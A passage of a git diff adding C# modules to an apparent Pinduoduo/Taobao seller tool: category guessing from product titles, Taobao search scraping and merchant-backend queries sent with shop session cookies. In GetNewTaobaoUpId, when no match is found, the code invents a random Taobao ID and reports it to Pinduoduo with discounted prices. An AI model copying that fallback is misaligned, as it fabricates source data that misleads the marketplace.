KeyValuesBase(MainCatId, Cat1, Cat2, Cat3, Cat4); + try + { + TempCat.Add(fromId, k); + return k; + } + catch + { + } + } + return TempCat[fromId]; + } + } + return null; + } + + public bool Get(string title, long fromId, int siteId) + { + if (string.IsNullOrEmpty(title)) + return false; + if (TempCat.ContainsKey(fromId) && fromId > 0) + { + Cat1 = TempCat[fromId].Value1; + Cat2 = TempCat[fromId].Value2; + Cat3 = TempCat[fromId].Value3; + Cat4 = TempCat[fromId].Value4; + MainCatId = TempCat[fromId].Key; + return true; + } + var shop = GetShopLoginInfo.Shops.Find(sp => sp != null && sp.Showed); + if (shop != null) + { + var api = new PinduoduoApiGetProduct(shop); + string taobaoCatName = "0"; + if (TaobaoCat.ContainsKey(TaobaoCatId)) + taobaoCatName = TaobaoCat[TaobaoCatId]; + if (TaobaoCatId == 0) + TaobaoCatId = 1; + string htmlx = api.GetCatId(TaobaoCatId, taobaoCatName, title); + if (htmlx.Contains("cat_id1")) + { + Cat1 = BaseRegex.GetIntJson(ref htmlx, "cat_id1").ToString(); + Cat2 = BaseRegex.GetIntJson(ref htmlx, "cat_id2").ToString(); + Cat3 = BaseRegex.GetIntJson(ref htmlx, "cat_id3").ToString(); + Cat4 = BaseRegex.GetIntJson(ref htmlx, "cat_id4").ToString(); + } + for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID + { + if (string.IsNullOrEmpty(Cat1)) break;//主类目为空 + if (MainCat[i].Value1.Contains("," + Cat1 + ",")) + { + MainCatId = MainCat[i].Key; + if (!TempCat.ContainsKey(fromId)) + { + KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3); + try + { + TempCat.Add(fromId, k); + } + catch + { + } + } + return true; + } + } + if ((Cat3 != "0" || Cat4 != "0") && Cat1 != "") + return true; + } + string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get_cat"; + string data = UserLogin.GetSignaturex() + "&site_id=" + siteId + "&id=" + fromId; + string html = GetHtml.PostUtf8(url, data); + if (!string.IsNullOrEmpty(html) && html.Contains("cat_id")) + { + Cat1 = BaseRegex.GetStringJson(ref html, "cat1"); + Cat2 = BaseRegex.GetStringJson(ref html, "cat2"); + Cat3 = BaseRegex.GetStringJson(ref html, "cat3"); + Cat4 = BaseRegex.GetStringJson(ref html, "cat4"); + if (Cat3 != "0" || Cat4 != "0") + { + MainCatId = BaseRegex.GetStringJson(ref html, "main_cid"); + if (!TempCat.ContainsKey(fromId)) + { + KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3, Cat4); + try + { + TempCat.Add(fromId, k); + } + catch + { + } + } + return true; + } + } + Title = title; + Title = BaseRegex.Clear(Title, @"([\d\s]+)"); + GetLen(4); + bool ok = OutPut(fromId); + if (ok) + return true; + GetLen(6); + ok = OutPut(fromId); + if (ok) + return true; + GetLen(8); + ok = OutPut(fromId); + if (ok) + return true; + if (Cats.Count > 0) + { + var c = CatTop[0]; + Cat1 = c.Value1; + Cat2 = c.Value2; + for (int i = 0; i < Cats.Count; i++) + { + if (Cats[i].Value2 == Cat2) + { + Cat3 = Cats[i].Value3; + break; + } + } + for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID + { + if (MainCat[i].Value1.Contains("," + Cat1 + ",")) + { + MainCatId = MainCat[i].Key; + if (!TempCat.ContainsKey(fromId)) + { + KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3); + try + { + TempCat.Add(fromId, k); + } + catch + { + } + } + return true; + } + } + } + return ok; + } + /// + /// 使用2级分类 + /// + /// + public bool OutPut(long fromId) + { + if (CatTop.Count > 3 && CatTop[0].Rank > 1 || CatTop.Count > 0 && CatTop[0].Rank > 5) + { + var c = CatTop[0]; + Cat1 = c.Value1; + Cat2 = c.Value2; + + for (int i = 0; i < Cats.Count; i++) + { + if (Cats[i].Value2 == Cat2) + { + Cat3 = Cats[i].Value3; + Cat4 = Cats[i].Value4; + break; + } + } + for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID + { + if (MainCat[i].Value1.Contains("," + Cat1 + ",")) + { + MainCatId = MainCat[i].Key; + if (!TempCat.ContainsKey(fromId)) + { + KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3, Cat4); + try + { + TempCat.Add(fromId, k); + } + catch + { + } + } + return true; + } + } + } + return false; + } + + public void GetLen(int len) + { + int count = Title.Length / len; + if (count < 3) + return; + for (int i = 0; i < Cats.Count; i++) + { + var c = Cats[i]; + c.Rank++; + } + for (int i = 0; i < len; i++) + { + string word = Title.Substring(i * count, count); + string url = "http://pcat.qixiaoke.com/taobao/pinduoduo_main.php?keyword=" + GetHtml.UrlEncodeUtf8(word); + string html = GetHtml.Utf8(url); + if (string.IsNullOrEmpty(html) || !html.Contains("\n")) + continue; + string[] l = html.Split('\n'); + for (int j = 0; j < l.Length; j++) + { + bool had = false; + string[] ll = l[j].Split(','); + if (ll.Length < 3) + continue; + KeyValuesBase k; + KeyValuesBase kt; + if (ll.Length == 3) + { + k = new KeyValuesBase(ll[2], ll[0], ll[1], ll[2], "0"); + kt = new KeyValuesBase(ll[1], ll[0], ll[1], ll[2], "0"); + } + else + { + k = new KeyValuesBase(ll[2], ll[0], ll[1], ll[2], ll[3]); + kt = new KeyValuesBase(ll[1], ll[0], ll[1], ll[2], ll[3]); + } + + if (k.Value2 == "242" || k.Value2 == "243" || k.Value3 == "3850") + continue; + kt.Rank = 1; + k.Rank = 1; + for (int m = 0; m < Cats.Count; m++) + { + if (Cats[m].Key == ll[2]) + { + k = Cats[m]; + had = true; + break; + } + } + if (!had) + Cats.Add(k); + else + k.Rank++; + had = false; + for (int m = 0; m < CatTop.Count; m++) + { + if (CatTop[m].Key == ll[1]) + { + k = CatTop[m]; + had = true; + break; + } + } + if (!had) + CatTop.Add(k); + else + k.Rank++; + } + } + Cats.Sort(delegate (KeyValuesBase x, KeyValuesBase y) + { + return y.Rank.CompareTo(x.Rank); + }); + CatTop.Sort(delegate (KeyValuesBase x, KeyValuesBase y) + { + return y.Rank.CompareTo(x.Rank); + }); + } + + public static void Ini() + { + string[] l = FileBase.ReadAllLines("taobao_cat.ico"); + for (int i = 0; l != null && i < l.Length; i++) + { + if (!l[i].Contains("\t")) + continue; + string[] s = l[i].Split('\t'); + TaobaoCat.Add(int.Parse(s[0]), s[1]); + } + } + } +} diff --git a/Work/Api/FromTitleToCatTaobao.cs b/Work/Api/FromTitleToCatTaobao.cs new file mode 100644 index 0000000..da8cdd6 --- /dev/null +++ b/Work/Api/FromTitleToCatTaobao.cs @@ -0,0 +1,350 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Api +{ + public class FromTitleToCatTaobao + { + /// + /// 用标题计算分类 + /// + /// + /// + public static int Get(string title, bool IsGetMoreCatid = false) + { + title = BaseRegex.Clear(title, @"([\d]+)"); + char[] k = "[]\\/ -+=.【】{};,。,.::;*()()@!!&{}".ToCharArray(); + foreach (char c in k) + title = title.Replace(c.ToString(), ""); + string[] keys = "批发,新款,特价,热卖,定制,定做,热卖,正品,包邮,正品,出售,新品,厂家,直销,自营,跨境,爆款,批发,品牌,一件,代发,清仓,直供,外贸".Split(','); + foreach (string c in keys) + title = title.Replace(c, ""); + + if (string.IsNullOrEmpty(title) || title.Length < 2) + return 0; + Dictionary cats = new Dictionary(); + string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword="; + string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(title)); + if (!string.IsNullOrEmpty(html)) + { + string[] l = html.Split(','); + foreach (string ss in l) + { + if (string.IsNullOrEmpty(ss)) + continue; + int s = int.Parse(ss); + if (cats.ContainsKey(s)) + cats[s]++; + else + cats.Add(s, 1); + } + int top = 0; + int all = 0; + int catId = 0; + foreach (KeyValuePair cat in cats) + { + if (top < cat.Value) + { + top = cat.Value; + catId = cat.Key; + } + all += cat.Value; + } + return catId; + } + int Step = 2; + int half = title.Length / 2; + string key1 = title.Substring(0, half); + string key2 = title.Substring(half); + SetCats(key1, ref cats); + SetCats(key2, ref cats); + int cid = GetMaxCount(ref cats, title.Length > 8 ? 4 : 16); + if (IsGetMoreCatid && cats.Count > 5) + { + return cid; + } + else if (cats.Count > 0 && !IsGetMoreCatid) + { + return cid; + } + Step = 4; + AddCount(ref cats); + int four = title.Length / 4; + if (four < 2)//没法继续细分了 + return GetMaxCount(ref cats, 4096); + for (int i = 0; i < 4; i++) + { + string key = title.Substring(i * four, four); + SetCats(key, ref cats); + } + cid = GetMaxCount(ref cats, title.Length > 16 ? 16 : 64); + if (cid > 0) + return cid; + AddCount(ref cats); + Step = 8; + int eigth = title.Length / 8; + if (eigth < 2) + return GetMaxCount(ref cats, 4096); + for (int i = 0; i < 8; i++) + { + string key = title.Substring(i * eigth, eigth); + SetCats(key, ref cats); + } + return GetMaxCount(ref cats, 4096); + + + } + + public static string GetCategory(string title) + { + if (string.IsNullOrEmpty(title)) return string.Empty; + string name = title; + title = BaseRegex.Clear(title, @"([\d]+)"); + char[] k = "[]\\/ -+=.【】{};,。,.::;*()()@!!&{}".ToCharArray(); + foreach (char c in k) + title = title.Replace(c.ToString(), ""); + string[] keys = "批发,新款,特价,热卖,定制,定做,热卖,正品,包邮,正品,出售,新品,厂家,直销,自营,跨境,爆款,批发,品牌,一件,代发,清仓,直供,外贸".Split(','); + foreach (string c in keys) + title = title.Replace(c, ""); + + if (string.IsNullOrEmpty(title) || title.Length < 2) + return string.Empty; + Dictionary cats = new Dictionary(); + string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword="; + string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(title)); + if (!string.IsNullOrEmpty(html)) + { + string[] l = html.Split(','); + foreach (string ss in l) + { + if (string.IsNullOrEmpty(ss)) + continue; + int s = int.Parse(ss); + if (cats.ContainsKey(s)) + cats[s]++; + else + cats.Add(s, 1); + } + int top = 0; + int all = 0; + int catId = 0; + foreach (KeyValuePair cat in cats) + { + if (top < cat.Value) + { + top = cat.Value; + catId = cat.Key; + } + all += cat.Value; + } + return name + ":" + catId; + } + int Step = 2; + int half = title.Length / 2; + string key1 = title.Substring(0, half); + string key2 = title.Substring(half); + SetCats(key1, ref cats); + SetCats(key2, ref cats); + int cid = GetMaxCount(ref cats, title.Length > 8 ? 4 : 16); + if (cid > 0) + return name + ":" + cid; + + Step = 4; + AddCount(ref cats); + int four = title.Length / 4; + if (four < 2)//没法继续细分了 + return name + ":" + GetMaxCount(ref cats, 4096); + for (int i = 0; i < 4; i++) + { + string key = title.Substring(i * four, four); + SetCats(key, ref cats); + } + cid = GetMaxCount(ref cats, title.Length > 16 ? 16 : 64); + if (cid > 0) + return name + ":" + cid; + AddCount(ref cats); + Step = 8; + int eigth = title.Length / 8; + if (eigth < 2) + return name + ":" + GetMaxCount(ref cats, 4096); + for (int i = 0; i < 8; i++) + { + string key = title.Substring(i * eigth, eigth); + SetCats(key, ref cats); + } + return name + ":" + GetMaxCount(ref cats, 4096); + + + } + + + /// + /// 用标题计算分类(为了保证防止跟之前冲突 特意写个方法) + /// + /// + /// + public int GetCataryId(string title, out Dictionary DicTbCatId) + { + Dictionary DicTbCatIdTemp = new Dictionary(); + title = BaseRegex.Clear(title, @"([\d]+)"); + char[] k = "[]\\/ -+=.【】{};,。,.::;*()()@!!&{}".ToCharArray(); + foreach (char c in k) + title = title.Replace(c.ToString(), ""); + string[] keys = "批发,新款,特价,热卖,定制,定做,热卖,正品,包邮,正品,出售,新品,厂家,直销,自营,跨境,爆款,批发,品牌,一件,代发,清仓,直供,外贸".Split(','); + foreach (string c in keys) + title = title.Replace(c, ""); + + DicTbCatId = DicTbCatIdTemp; + + if (string.IsNullOrEmpty(title) || title.Length < 2) + return 0; + Dictionary cats = new Dictionary(); + string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword="; + string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(title)); + if (!string.IsNullOrEmpty(html)) + { + string[] l = html.Split(','); + foreach (string ss in l) + { + if (string.IsNullOrEmpty(ss)) + continue; + int s = int.Parse(ss); + if (cats.ContainsKey(s)) + cats[s]++; + else + cats.Add(s, 1); + } + int top = 0; + int all = 0; + int catId = 0; + foreach (KeyValuePair cat in cats) + { + if (top < cat.Value) + { + top = cat.Value; + catId = cat.Key; + } + all += cat.Value; + } + return catId; + } + int Step = 2; + int half = title.Length / 2; + string key1 = title.Substring(0, half); + string key2 = title.Substring(half); + SetCats(key1, ref cats); + SetCats(key2, ref cats); + int cid = GetMaxCount(ref cats, title.Length > 8 ? 4 : 16); + DicTbCatId = cats; + if (cats.Count > 5) + { + return cid; + } + Step = 4; + AddCount(ref cats); + DicTbCatId = cats; + int four = title.Length / 4; + if (four < 2)//没法继续细分了 + return GetMaxCount(ref cats, 4096); + for (int i = 0; i < 4; i++) + { + string key = title.Substring(i * four, four); + SetCats(key, ref cats); + } + cid = GetMaxCount(ref cats, title.Length > 16 ? 16 : 64); + DicTbCatId = cats; + if (cid > 0) + return cid; + AddCount(ref cats); + Step = 8; + int eigth = title.Length / 8; + DicTbCatId = cats; + if (eigth < 2) + return GetMaxCount(ref cats, 4096); + for (int i = 0; i < 8; i++) + { + string key = title.Substring(i * eigth, eigth); + SetCats(key, ref cats); + } + DicTbCatId = cats; + return GetMaxCount(ref cats, 4096); + + + } + + + /// + /// 根据关键词获取相关分类 + /// + /// + /// + public static void SetCats(string key, ref Dictionary cats) + { + string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword="; + string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(key)); + if (!string.IsNullOrEmpty(html)) + { + string[] l = html.Split(','); + foreach (string ss in l) + { + if (string.IsNullOrEmpty(ss)) + continue; + int s = int.Parse(ss); + + if (cats.ContainsKey(s)) + cats[s]++; + else + cats.Add(s, 1); + } + } + } + + /// + /// 根据倍数判断是否要取得准确结果 + /// + /// + /// + /// + public static int GetMaxCount(ref Dictionary cats, int times) + { + int top = 0; + int all = 0; + int catId = 0; + foreach (KeyValuePair cat in cats) + { + if (top < cat.Value) + { + top = cat.Value; + catId = cat.Key; + } + all += cat.Value; + } + if (all / times < top) + return catId; + return 0; + } + + /// + /// 权值翻倍 + /// + /// + public static void AddCount(ref Dictionary cats) + { + try + { + foreach (KeyValuePair cat in cats) + { + cats[cat.Key] *= 2; + } + } + catch + { + } + + } + } +} diff --git a/Work/Api/GetEditDetail.cs b/Work/Api/GetEditDetail.cs new file mode 100644 index 0000000..424f926 --- /dev/null +++ b/Work/Api/GetEditDetail.cs @@ -0,0 +1,142 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using AllBase; + +namespace Work.Api +{ + public class GetEditDetail + { + public ShopChatBase Shop; + public string Name; + public GetEditDetail(ShopChatBase shop,string name) + { + Shop = shop; + Name = name; + } + + public ResultBase Get(long pin) + { + string html = GetHtmlBy(pin); + if (string.IsNullOrEmpty(html) || !html.Contains("\"success\":true")) + { + LogSave.Add(Name, "商品不存在:" + pin); + return null; + } + if (BaseRegex.GetIntJson(ref html, "is_onsale") == 0) + { + LogSave.Add(Name, "商品已下架:" + pin); + return null; + } + GetEditDetailBase tp = JsonHelper.DeserializeJsonToObject(html); + tp.result.fabricx = BaseRegex.GetIntJson(ref html, "fabric"); + tp.result.fabric_contentx = BaseRegex.GetIntJson(ref html, "fabric_content"); + return tp.result; + } + + public string GetHtmlBy(long pin) + { + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/"+pin; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + WebClientx wb = new WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = false; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", BaseClass.ChromeUserAgent); + wb.Headers.Add("Upgrade-Insecure-Requests", "1"); + wb.Headers.Add("Referer", "https://mms.pinduoduo.com/Pdd.html"); + wb.Headers.Add("Cookie", Shop.Cookies); + try + { + var b = wb.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch (Exception e) + { + return e.Message; + } + + } + } + + public class GetEditDetailBase + { + public bool success; + public ResultBase result; + } + + public class ResultBase + { + public long id; + public long goods_id; + public int check_status; + public int commit_deleted; + public string owner; + public int is_shop; + public string goods_sn; + public int is_folt; + public string warm_tips; + public int fabricx; + public int fabric_contentx; + public int cost_template_id; + public int cat_id; + public int mall_id; + public string goods_name; + public string tiny_name; + public string goods_desc; + public string share_desc; + public List list_desc = new List(); + public int market_price; + public string thumb_url; + public string image_url; + public string hd_thumb_url; + public CommitExtensionBase commit_extension; + public List galleries; + public List sku; + public List cat_ids; + public List cats; + public string owner_name; + } + + public class CommitExtensionBase + { + public long goods_commit_id; + public string out_goods_sn; + } + + public class GalleriesBase + { + public string url; + public int width; + public int height; + public int type; + } + + public class SkuDetailBase + { + public long id; + public long sku_id; + public string sku_sn; + public int is_onsale; + public int limit_quantity; + public int multi_price; + public int price; + public int quantity; + public string thumb_url; + public List spec; + public string out_sku_sn; + } + + public class SpecDetailBase + { + public int parent_id; + public string parent_name; + public long spec_id; + public string spec_name; + } +} diff --git a/Work/Api/GetNewTaobaoUpId.cs b/Work/Api/GetNewTaobaoUpId.cs new file mode 100644 index 0000000..11671a0 --- /dev/null +++ b/Work/Api/GetNewTaobaoUpId.cs @@ -0,0 +1,185 @@ +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Linq; +using System.Net.Http.Headers; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading.Tasks; +using AllBase; +using Work.CollectClass; + +namespace Work.Api +{ + public class GetNewTaobaoUpId + { + public static Dictionary PddToTb = new Dictionary(); + public ShopChatBase Shop; + public GetNewTaobaoUpId(ShopChatBase shop) + { + Shop = shop; + } + + /// + /// 获取最接近淘宝ID + /// + /// 图片 + /// 最低价:分 加价之后 + /// 最高价:分 加价之后 + /// + public long Get(long pid,long fromId, byte[] img, int min, int max,string berfoeTitle) + { + int minPrice; + int maxPrice; + if (PddToTb.ContainsKey(fromId) && PddToTb[fromId].Value1 > min) + { + var i = PddToTb[fromId]; + minPrice = i.Value1; + maxPrice = i.Value2; + Set(pid, i.Key, minPrice, maxPrice, i.Value3, 0); + return i.Key; + } + string url = BaseClass.BuildObjString("taobao_id&act=get"); + url = BaseClass.LoginApiUrl + "?obj=pinbaobao/taobao_id&act=get"; + string data = UserLogin.GetSignaturex(); + data += "&pdd_id=" + fromId; + string html = GetHtml.PostUtf8(url, data); + if (!string.IsNullOrEmpty(html) && html.Contains("taobao_id")) + { + long tid = BaseRegex.GetLongJson(ref html, "taobao_id"); + minPrice = BaseRegex.GetIntJson(ref html, "min_price"); + maxPrice = BaseRegex.GetIntJson(ref html, "max_price"); + int express_price = BaseRegex.GetIntJson(ref html, "express_price"); + try + { + PddToTb.Add(fromId, new IntKeyValues(tid, minPrice, maxPrice, express_price)); + } + catch + { + } + if (min < minPrice) + { + Set(pid, tid, minPrice, maxPrice, express_price, 0); + return tid; + } + } + if (img == null) + goto EndError; + + url = "https://s.taobao.com/image"; + string refere = "https://www.taobao.com"; + var ks = new NameValueCollection(); + ks.Add("cross", "taobao"); + ks.Add("type", "iframe"); + html = GetPostTaobaoHtml.PostFileTaobao(url, refere, true, ks,img); + string name = BaseRegex.GetStringJson(ref html, "name"); + string maxId = ""; + int minPricex = 0; + if (!string.IsNullOrEmpty(name)) + { + url = + "https://s.taobao.com/search?q=&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.2&ie=utf8&tfsid=" + + name + "&app=imgsearch"; + html = GetPostTaobaoHtml.GetUrl(url, refere, true, ""); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""nid"":""([\d]+)"",[\w\W]+?,""view_price"":""([\d\.]+)"""); + for (int i = 0; m != null && i < m.Count && i < 8; i++) + { + string id = m[i].Groups[1].Value; + int price = (int) (decimal.Parse(m[i].Groups[2].Value)*100); + if (price > minPricex) + { + minPricex = price; + maxId = id; + } + } + } + if (string.IsNullOrEmpty(maxId)) + { + int p1 = max/100, p2 = max/100*3 + 500; + url = "https://s.taobao.com/search?q=" + GetHtml.UrlEncodeUtf8(berfoeTitle) + + "&imgfile=&js=1&style=grid&stats_click=search_radio_all%3A1&ie=utf8&filter=reserve_price%5B" + p1 + + "%2C" + p2 + "%5D"; + html = GetPostTaobaoHtml.GetUrl(url, refere, true, ""); + var m = BaseRegex.GetMatchRegex(ref html, + @"""nid"":""([\d]+)""[\w\W]*?""raw_title"":""([^""]+)""[\w\W]+?,""view_price"":""([\d\.]+)"""); + maxId = ""; + minPricex = 0; + for (int i = 0; m != null && i < m.Count && i < 8; i++) + { + string id = m[i].Groups[1].Value; + string title = m[i].Groups[2].Value; + int price = (int) (decimal.Parse(m[i].Groups[3].Value)*100); + if (price > minPricex && title.ToLower()==berfoeTitle.ToLower()) + { + minPricex = price; + maxId = id; + } + } + } + + if (minPricex > min && !string.IsNullOrEmpty(maxId)) + { + long tid = long.Parse(maxId); + ProductCollectBase p = new ProductCollectBase(); + p.from_id = tid; + TaobaoMobileCollect t =new TaobaoMobileCollect(p); + t.NoContent = true; + t.NoUpToServer = true; + t.Get(); + minPrice = (int) (t.MinPrice*100); + maxPrice = (int)(t.MaxPrice * 100); + int express_price = (int) (p.express_price*100); + url = BaseClass.BuildObjString("taobao_id&act=add"); + data = UserLogin.GetSignaturex(); + data += "&pdd_id=" + fromId; + data += "&taobao_id=" + tid; + data += "&min_price=" + minPrice; + data += "&max_price=" + maxPrice; + data += "&express_price=" + express_price; + html = GetHtml.PostUtf8(url, data); + try + { + PddToTb.Add(fromId, new IntKeyValues(tid,minPrice,maxPrice, express_price)); + } + catch + { + } + Set(pid, tid, minPrice, maxPrice, express_price, 0); + return tid; + } + + EndError: + long upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10000, 99999); + + minPrice =(int)( min*0.93m); + maxPrice = (int)(max * 0.93m); + Set(pid,upid,minPrice,maxPrice,0,5); + return upid; + } + + + public void Set(long pid,long tid, int beforePriceMin,int beforePriceMax,int express_price,int from_site_id) + { + var api = new PinduoduoApiGetProduct(Shop); + string html = api.Relationx(pid, tid, beforePriceMin, beforePriceMax, express_price, from_site_id); + } + + + } + + public class IntKeyValues + { + public IntKeyValues(long k, int v1, int v2, int v3) + { + Key = k; + Value1 = v1; + Value2 = v2; + Value3 = v3; + } + + public long Key = 0; + public int Value1 = 0; + public int Value2 = 0; + public int Value3 = 0; + } +} diff --git a/Work/Api/GetProductDetail.cs b/Work/Api/GetProductDetail.cs new file mode 100644 index 0000000..bb84420 --- /dev/null +++ b/Work/Api/GetProductDetail.cs @@ -0,0 +1,110 @@ +using System; +using System.Collections.Generic; +using AllBase; + +namespace Work.Api +{ + public class GetProductDetail + { + public ShopChatBase Shop; + public string Html = ""; + public string Name; + public GetProductDetail(ShopChatBase shop, string name) + { + Shop = shop; + } + + public ProductDetailBase Get(long pid) + { + try + { + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + Html = api.GetProduct(pid); + if (string.IsNullOrEmpty(Html) || !Html.Contains("\"goods_id\"")) + { + System.Threading.Thread.Sleep(1000 + Randomx.GetId(1000)); + Html = api.GetProduct(pid); + } + if (string.IsNullOrEmpty(Html) || !Html.Contains("\"goods_id\"")) + { + LogSave.Add(Name, "商品不存在:" + pid); + return null; + } + Html = Html.Replace("\"shelf_life\":null", "\"shelf_life\":0"); + Html = Html.Replace("\"start_production_date\":null", "\"start_production_date\":0"); + Html = Html.Replace("\"end_production_date\":null", "\"end_production_date\":0"); + ProductDetailBasex tp = JsonHelper.DeserializeJsonToObject(Html); + return tp.goods_detail_get_response; + } + catch (Exception e) + { + LogSave.Add(Name, "构建数据错误:" + e.Message); + return null; + } + } + } + + public class ProductDetailBasex + { + public ProductDetailBase goods_detail_get_response; + } + + public class ProductDetailBase + { + public long goods_id; + public int buy_limit; + //public string mai_jia_zi_ti; + public List carousel_gallery_list = new List(); + public int cat_id; + public long cost_template_id; + public int shelf_life; + public int start_production_date; + public int end_production_date; + //public int paper_net_weight; + //public int paper_length; + //public int paper_width; + //public int paper_plies_num; + public int country_id; + public int customer_num; + public int goods_type; + public string goods_name; + public string tiny_name; + public string goods_desc; + public string warehouse; + public int is_customs; + public string customs; + public int market_price; + public int is_pre_sale; + public int pre_sale_time; + public int shipment_limit_second; + public int order_limit; + public int is_refundable; + public int? second_hand; + public int is_folt; + public string warm_tips; + public string outer_goods_id; + public int fabricx; + public int fabric_contentx; + //public int fabric_id; + //public int fabric_content_id; + public int mall_id; + public List list_desc = new List(); + public List goods_property_list = new List(); + public string thumb_url; + public string image_url; + public string hd_thumb_url; + public List galleries; + public List sku_list; + public List detail_gallery_list; + } + + public class GoodsPropertyListBase + { + public long ref_pid; + public long template_pid; + public string vvalue; + public string vid; + public string punit; + } + +} diff --git a/Work/Api/GetShopLoginInfo.cs b/Work/Api/GetShopLoginInfo.cs new file mode 100644 index 0000000..89679f8 --- /dev/null +++ b/Work/Api/GetShopLoginInfo.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using AllBase; +using Work.ManageClass; +using System.Threading.Tasks; + +namespace Work.Api +{ + public class GetShopLoginInfo + { + public string Name; + public GetShopLoginInfo(string name) + { + Name = name; + } + + public static List ShopCat = new List(); + public static List ShopCatTemp = new List(); + public static List Shops = new List(); + public static List ShopBak = new List(); + public static List ShopTemp = new List(); + + private Dictionary GetCookies(ShopInfo SpIn) + { + int AgainCount = 0; + Dictionary dicCookie = new Dictionary(); + string NewUrl = BaseClass.BuildObjString("pdd_shop_tempx&act=get_shop_cookies_list"); + Again: + string Newhtml = GetHtml.PostUtf8(NewUrl, UserLogin.GetSignaturex("", "") + "&shops=" + GetHtml.UrlEncodeUtf8(Newtonsoft.Json.JsonConvert.SerializeObject(SpIn))); + if (string.IsNullOrEmpty(Newhtml) || Newhtml.Contains("Error No File")) + { + if (AgainCount < 2) + { + AgainCount++; + Thread.Sleep(50); + goto Again; + } + } + var m = BaseRegex.GetMatchRegex(ref Newhtml, @"([\w\W]+?)"); + for (int j = 0; m != null && j < m.Count; j++) + { + string shopName = m[j].Groups[1].Value; + string json = m[j].Groups[2].Value; + + if (!string.IsNullOrEmpty(json) && !json.Contains("{}") && !json.Contains("none") && !json.Contains("noney")) + { + if (!dicCookie.ContainsKey(shopName)) + { + dicCookie.Add(shopName, json); + } + } + + + } + + return dicCookie; + } + } +} diff --git a/Work/Api/GetVisitProduct.cs b/Work/Api/GetVisitProduct.cs new file mode 100644 index 0000000..4b59808 --- /dev/null +++ b/Work/Api/GetVisitProduct.cs @@ -0,0 +1,119 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using AllBase; + +namespace Work.Api +{ + public class GetVisitProduct + { + public Dictionary ProductVisit = new Dictionary(); + public GetVisitProduct(string name) + { + Name = name; + } + + public ShopChatBase Shop = null; + public static List Product = new List(); + public static List ProductTemp = new List(); + public static int MaxCount = 0, ThisCount = 0, MinVisitCount = 0, MinSoldCount = 0, Days = 0, MinPrice = 0; + public static bool Running = false; + public string Name; + public void Get() + { + Running = true; + string cookies = ""; + if (Shop != null) + cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/earth/api/goodsDataShow/detailList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"spanDays\":" + Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().ToString("yyyy-MM-DD") + "\"}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0); + MaxCount = page; + for (int i = 1; i <= page; i++) + { + if (Shop == null && !Running) + break; + ThisCount = i; + if (i != 1) + { + data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().ToString("yyyy-MM-DD") + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + ProductVisitBase p = new ProductVisitBase(); + p.Id = BaseRegex.GetLongJson(ref list, "goodsId"); + p.GoodsSn = BaseRegex.GetLongJson(ref list, "goodsSn"); + p.OrderCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + p.Title = BaseRegex.GetStringJson(ref list, "goodsName"); + p.Uv = BaseRegex.GetIntJson(ref list, "goodsUv"); + p.Pv = BaseRegex.GetIntJson(ref list, "goodsPv"); + p.UvAvgPay = BaseRegex.GetDecimalJson(ref list, "avgGoodsVcr"); + p.SoldCount = BaseRegex.GetIntJson(ref list, "payOrderCount"); + if (Shop == null) + ProductTemp.Add(p); + else + { + if (!ProductVisit.ContainsKey(p.Id)) + ProductVisit.Add(p.Id, p.Pv); + else + ProductVisit[p.Id] = p.Pv; + } + if 